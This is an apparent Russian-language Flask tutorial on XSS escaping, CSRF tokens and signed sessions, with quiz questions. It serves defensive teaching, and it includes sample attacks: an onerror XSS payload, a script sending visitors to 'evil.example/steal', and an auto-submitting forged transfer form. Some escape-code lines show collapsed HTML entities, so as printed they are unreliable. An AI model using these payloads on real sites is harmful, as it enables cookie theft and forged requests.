Безопасность Flask: CSRF, экранирование и секреты
Девятнадцатый урок расширения Flask: живая демонстрация автоэкранирования Jinja2, дыра через |safe своими руками, CSRF-токены словами, секретный ключ и подпись сессии — и чек-лист защиты готового сайта.
Редакция Питоники
Твой сайт теперь умеет почти всё: формы из урока про формы, вход из урока про аутентификацию, API с тестами. Значит, настало время неприятной части профессии: на сайт будут пытаться влить опасный ввод и подделывать чужие запросы. Хорошая новость курса: три главные защиты ставятся почти бесплатно, и две из них ты уже видел мельком. Сейчас соберём их в систему — и каждый запускай, это живые демонстрации.
Экранирование: первая линия обороны
Сценарий атаки XSS (cross-site scripting): злоумышленник оставляет в отзыве не текст, а HTML со скриптом. Если страницу вывести как есть — скрипт выполнится в браузере каждого посетителя и сможет, например, отправить злоумышленнику их cookies. Защита — экранирование: символы разметки превращаются в безобидные HTML-сущности, и браузер показывает ввод как текст. Смотри на живой пример:
from jinja2 import Environment
# так настраивает шаблонизатор Flask для страниц .html
env = Environment(autoescape=True)
comment = "<img src=x onerror=alert(1)>"
safe_view = env.from_string("Отзыв: {{ comment }}")
print(safe_view.render(comment=comment))
Отзыв: <img src=x onerror=alert(1)>
Во Flask эта защита включена по умолчанию для шаблонов с расширением .html — render_template экранирует каждую выводимую переменную автоматически. В уроке про шаблоны мы уже видели, что голый Template без автоэкранирования пропускает скрипт насквозь — потому песочница и использовала флаг autoescape=True. Итого экранирование достаётся тебе бесплатно; платой за него является один-единственный соблазн, который стоит разобрать руками:
Заметь принцип, на котором держится экранирование: оно не пытается угадать, опасен ли ввод. Никакие чёрные списки здесь не выживают — запрещённое слово script легко разнести на куски и склеить в браузере, а запретить все символы разметки — значит сломать честные отзывы про «С++ и шаблоны <T>». Экранирование проще и хитрее: оно обезвреживает всё подряд и полагается на единственное исключение, которое контролируешь ты, — фильтр |safe для собственной разметки. Одна политика без исключений на данных пользователей всегда сильнее десятка умных фильтров.
from jinja2 import Environment
env = Environment(autoescape=True)
comment = "<script>document.location='http://evil.example/steal'</script>"
# |safe выключает экранирование для этой переменной
hole = env.from_string("Отзыв: {{ comment | safe }}")
print(hole.render(comment=comment))
# без |safe тот же ввод безобиден
correct = env.from_string("Отзыв: {{ comment }}")
print(correct.render(comment=comment))
Отзыв: <script>document.location='http://evil.example/steal'</script> Отзыв: <script>document.location='http://evil.example/steal'</script>
CSRF: подделка запроса словами
Вторая атака бьёт не по твоему коду, а по браузеру пользователя. Механика CSRF (cross-site request forgery, подделка межсайтового запроса) такая: посетитель залогинен на твоём сайте, и его браузер носит cookie сессии. Он открывает в соседней вкладке вредительскую страницу, а та тихо отправляет POST прямо на твой сервер — например, на маршрут перевода денег. Браузер честно приложит cookie залогиненного пользователя, и сервер выполнит запрос, не сумев отличить его от честного:
<!-- чужой сайт: форма отправляется сама, как только страница открылась -->
<body onload="document.forms[0].submit()">
<form method="post" action="https://bank.example/transfer">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to" value="attacker">
</form>
</body>
Защита — CSRF-токен. При отдаче формы сервер кладёт в неё скрытое поле со случайной строкой и запоминает ту же строку в сессии. Приём формы запрещён, если токен из формы не совпал с токеном из сессии. Схема проверки:
<!-- шаблон формы -->
<form method="post" action="/transfer">
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
<input name="amount">
<button>Перевести</button>
</form>
from flask import abort, request, session
@app.route("/transfer", methods=["POST"])
def transfer():
form_token = request.form.get("csrf_token", "")
if form_token != session.get("csrf_token"):
abort(400, description="CSRF-проверка не пройдена")
# токен совпал - запрос честный, выполняем перевод
...
Почему это работает: вредительская страница может отправить на твой сервер запрос, но прочитать ответ или содержимое твоих страниц ей браузер не даст — действует правило одинакового происхождения (same-origin policy). Токен живёт в сессии твоего сайта, значит чужая страница его узнать не может и угадать не сумеет: случайная строка длиной в десятки символов. Запрос без токена до перевода не доходит.
Попутно — о мерах, которые защитой только притворяются. Скрытые поля формы без токена не защищают ничем: вредительская страница отправляет их так же охотно, как пользователь. Проверка заголовка Referer выглядит заманчиво, но ненадёжна: браузеры и расширения режут его по разным причинам, а некоторые запросы уходят вовсе без него — отсюда либо дыры, либо ложные отказы честным пользователям. Рабочая схема ровно одна: случайный токен, привязанный к сессии, и обязательная проверка на сервере.
Секретный ключ и подпись сессии
Третий замок охраняет cookie-сессию из урока про сессии. Пользователь мог бы не ждать твоей ошибки и отредактировать cookie руками: записать себе session['is_admin'] = true. Поэтому Flask cookie не хранит, а подписывает: содержимое сессии упакуется, подпишется SECRET_KEY и уйдёт в браузер в этом виде. Подпись проверить может только сервер с тем же ключом. Что бывает без ключа, ты видел, если забывал его настроить:
RuntimeError: The session is unavailable because no secret
key was set. Set the secret_key on the application to
something unique and secret.
Механику подписи можно пощупать без сервера: библиотека itsdangerous, на которой Flask подписывает сессии, ставится вместе с ним. Подпишем данные, прочитаем честный токен и попробуем подсунуть подделку:
Здесь же уместно точное слово о природе подписи: подпись — это не шифрование. Содержимое сессии лежит в cookie почти открытым текстом, любой любопытный может его раскодировать и прочитать — например, что там user_id 7. Незаметно изменить это содержимое нельзя, а вот читать — можно. Отсюда практическое правило: в сессии хранят указатели (идентификатор пользователя, настройки интерфейса), а секреты — номера карт, токены чужих сервисов — в базе на сервере, доставая их по этому идентификатору.
from itsdangerous import BadData, URLSafeSerializer
# ключ знает только сервер - им подписывают сессии и токены
signer = URLSafeSerializer("k1uch-s-adressom-peresolju")
token = signer.dumps({"user_id": 7})
print("Токен выдан, символов:", len(token))
print("Честный токен читается:", signer.loads(token))
broken = token + "x" # злоумышленник дописал символ в чужой токен
try:
signer.loads(broken)
print("Подделка принята")
except BadData:
print("Подделка отклонена: подпись не сходится")
Токен выдан, символов: 46
Честный токен читается: {'user_id': 7}
Подделка отклонена: подпись не сходитсяЧек-лист безопасности Flask-сайта
Собираем урок в таблицу — перед деплоем прогоняйся по ней глазами:
| Угроза | Замок | Как ставится |
|---|---|---|
| XSS: скрипт в отзыве | автоэкранирование Jinja2 | включено во Flask по умолчанию для .html - не отключай |
| XSS через |safe | дисциплина фильтра safe | |safe только для разметки, собранной твоим кодом |
| CSRF: чужой сайт шлёт POST | токен в форме и проверка | Flask-WTF: поле csrf_token и валидация формы |
| Подделка cookie-сессии | подпись SECRET_KEY | длинный случайный ключ из переменной окружения |
| Перехват сессии | флаги cookie | SESSION_COOKIE_SECURE=True, HttpOnly, короткий срок жизни |
app.config.update(
SESSION_COOKIE_SECURE=True, # куки уезжает только по HTTPS
SESSION_COOKIE_HTTPONLY=True, # JavaScript не читает куку
PERMANENT_SESSION_LIFETIME=1800, # постоянная сессия живёт 30 минут
)
Итоги
Три замка стоят: экранирование обезвреживает опасный ввод прямо в шаблоне, CSRF-токен не пускает чужие сайты к действиям твоих пользователей, подписанная сессия не даёт подделывать cookie. Ни один из них не потребовал библиотек сверх уже знакомых — безопасность во Flask по большей части состоит из привычек: не отключать экранирование, не принимать POST без токена, не показывать ключ.
Остался последний урок расширения: соберём финальный проект — API заметок с фабрикой, блюпринтом и pytest-набором, где всё выученное в уроках 11–19 работает в одном приложении. Карта курса — самоучитель Flask.
Экранирование превращает опасный ввод в безобидный текст, а один фильтр |safe отменяет эту защиту для конкретной переменной.
Сначала предскажи ответ в голове — это главный навык программиста.
def escape(s):
return (s.replace("&", "&")
.replace("<", "<")
.replace(">", ">"))
print(escape("<b>жирный</b>"))
def render(value, safe=False):
if safe:
return value
return value.replace("<", "<").replace(">", ">")
comment = "<script>x</script>"
print(render(comment))
print(render(comment, safe=True))
def sign(payload, key):
return payload + "." + str(len(payload) * len(key))
def verify(token, key):
payload, sig = token.rsplit(".", 1)
return sign(payload, key) == token
token = sign("user7", "k1uch")
broken = token + "x"
print(verify(token, "k1uch"), verify(broken, "k1uch"))
1. Что делает автоэкранирование Jinja2 во Flask?
2. Когда фильтр |safe допустим?
3. Почему CSRF-токен останавливает атаку с чужой страницы?
4. Зачем сессии нужен SECRET_KEY?
5. Где правильнее хранить SECRET_KEY рабочего сайта?
6. Почему разрушающие действия нельзя вешать на GET-ссылку?
Собери мини-шаблонизатор отзыва: функция render_comment(text, allow_html=False) при allow_html=False возвращает текст с заменой & на &, затем < на < и > на >, а при True — сырой текст. Напечатай оба варианта для ввода «<b>отзыв</b>». Порядок замен важен — сначала амперсанд.
Включено ли экранирование HTML во Flask по умолчанию?
Да: для шаблонов с расширением .html render_template работает с автоэкранированием — каждая выводимая переменная превращает <, > и кавычки в HTML-сущности, и скрипт из пользовательского ввода становится безобидным текстом. Отключается защита только фильтром |safe для конкретной переменной — используйте его исключительно для разметки, собранной собственным кодом.
Что такое CSRF и как защититься во Flask?
CSRF — подделка межсайтового запроса: вредительская страница отправляет POST на ваш сайт от имени залогиненного пользователя, и браузер прикладывает его cookie. Защита — случайный токен, который сервер кладёт в форму и в сессию и требует совпадения при приёме. Во Flask это принято делать расширением Flask-WTF: поле form.csrf_token и автоматическая валидация. И не вешайте изменяющие данные действия на GET-ссылки.
Зачем Flask SECRET_KEY и где его хранить?
Ключем подписывается cookie-сессия: содержимое пользователь может прочитать, но изменить незаметно — подпись сойдётся только у сервера с тем же ключом. Без ключа сессия недоступна с ошибкой RuntimeError. Рабочий ключ держите в переменной окружения (app.secret_key = os.environ["SECRET_KEY"]) и генерируйте через python -c "import secrets; print(secrets.token_hex())"; ключ в репозитории считается скомпрометированным.
Достаточно ли этих трёх мер для безопасности сайта?
Они закрывают три самые частые дыры веб-форм: XSS, CSRF и подделку сессии. Дальше список продолжают хеширование паролей (оно было в уроке про аутентификацию), параметризованные запросы к базе против SQL-инъекций, HTTPS и флаги cookie из чек-листа урока. Безопасность — это не одна кнопка, а привычка проверять каждое новое место, где данные пользователя доходят до сервера или шаблона.
Понравился урок? Сошлитесь на него
«Экранирование превращает опасный ввод в безобидный текст, а один фильтр |safe отменяет эту защиту для конкретной переменной.»
Скопируйте готовую ссылку в формате HTML, Markdown или чистый адрес и вставьте в статью на Habr, VC, Telegram-канал или свой блог — так о проекте узнают новые читатели.
Что читать дальше
Flask · Урок 3
Шаблоны Jinja2: HTML-страницы с данными из Python
Третий урок курса Flask: шаблоны Jinja2 — переменные, циклы, фильтры и наследование base.html. Отличие этого урока: все примеры Jinja2 можно отрендерить прямо на странице.
Flask · Урок 6
Сессии, куки и flash-сообщения во Flask: память о пользователе
Шестой урок курса Flask: session как словарь, куки set_cookie, секретный ключ и flash-сообщения. Учим приложение помнить пользователя между запросами.
Flask · Урок 9
Регистрация и вход: аутентификация на Flask
Девятый урок курса Flask: модель User, хеширование паролей, маршруты register/login/logout и декоратор login_required. Демо хеширования sha256 с солью запускается прямо на странице.
Похожие уроки по темам
Подобраны автоматически по пересечению тем и ключевых слов.
requests · Урок 8
Cookies и Session в requests: сессия, которая помнит
Разбираем, как сервер узнаёт клиента между запросами: Set-Cookie и Cookie руками на http.cookies, затем Session в requests — общие заголовки, куки-банка и keep-alive.
requests sessionCookie заголовок
requests · Урок 9
Авторизация в requests: Basic, Bearer-токены и API-ключи
Учимся представляться серверу: Basic-авторизация с разбором base64 по байтам, Bearer-токены, API-ключи — и правило хранения секретов вне кода.
requests авторизация токенпеременные окружения python секреты
Flask · Урок 4
Формы в Flask: приём данных от пользователя
Четвёртый урок курса Flask: сайт начинает слушать гостя. HTML-формы, request.form и request.args, серверная валидация, flash-сообщения и защита от повторной отправки формы.
flask формыrequest form flask
Проверьте знания по Flask
В челлендже — 20 задач по Flask, по 2 из каждого урока этого раздела. Формат: фрагмент кода и четыре варианта — что напечатает. После ответа — вердикт и объяснение со ссылкой на урок-источник.
Тест по Flask: 20 задач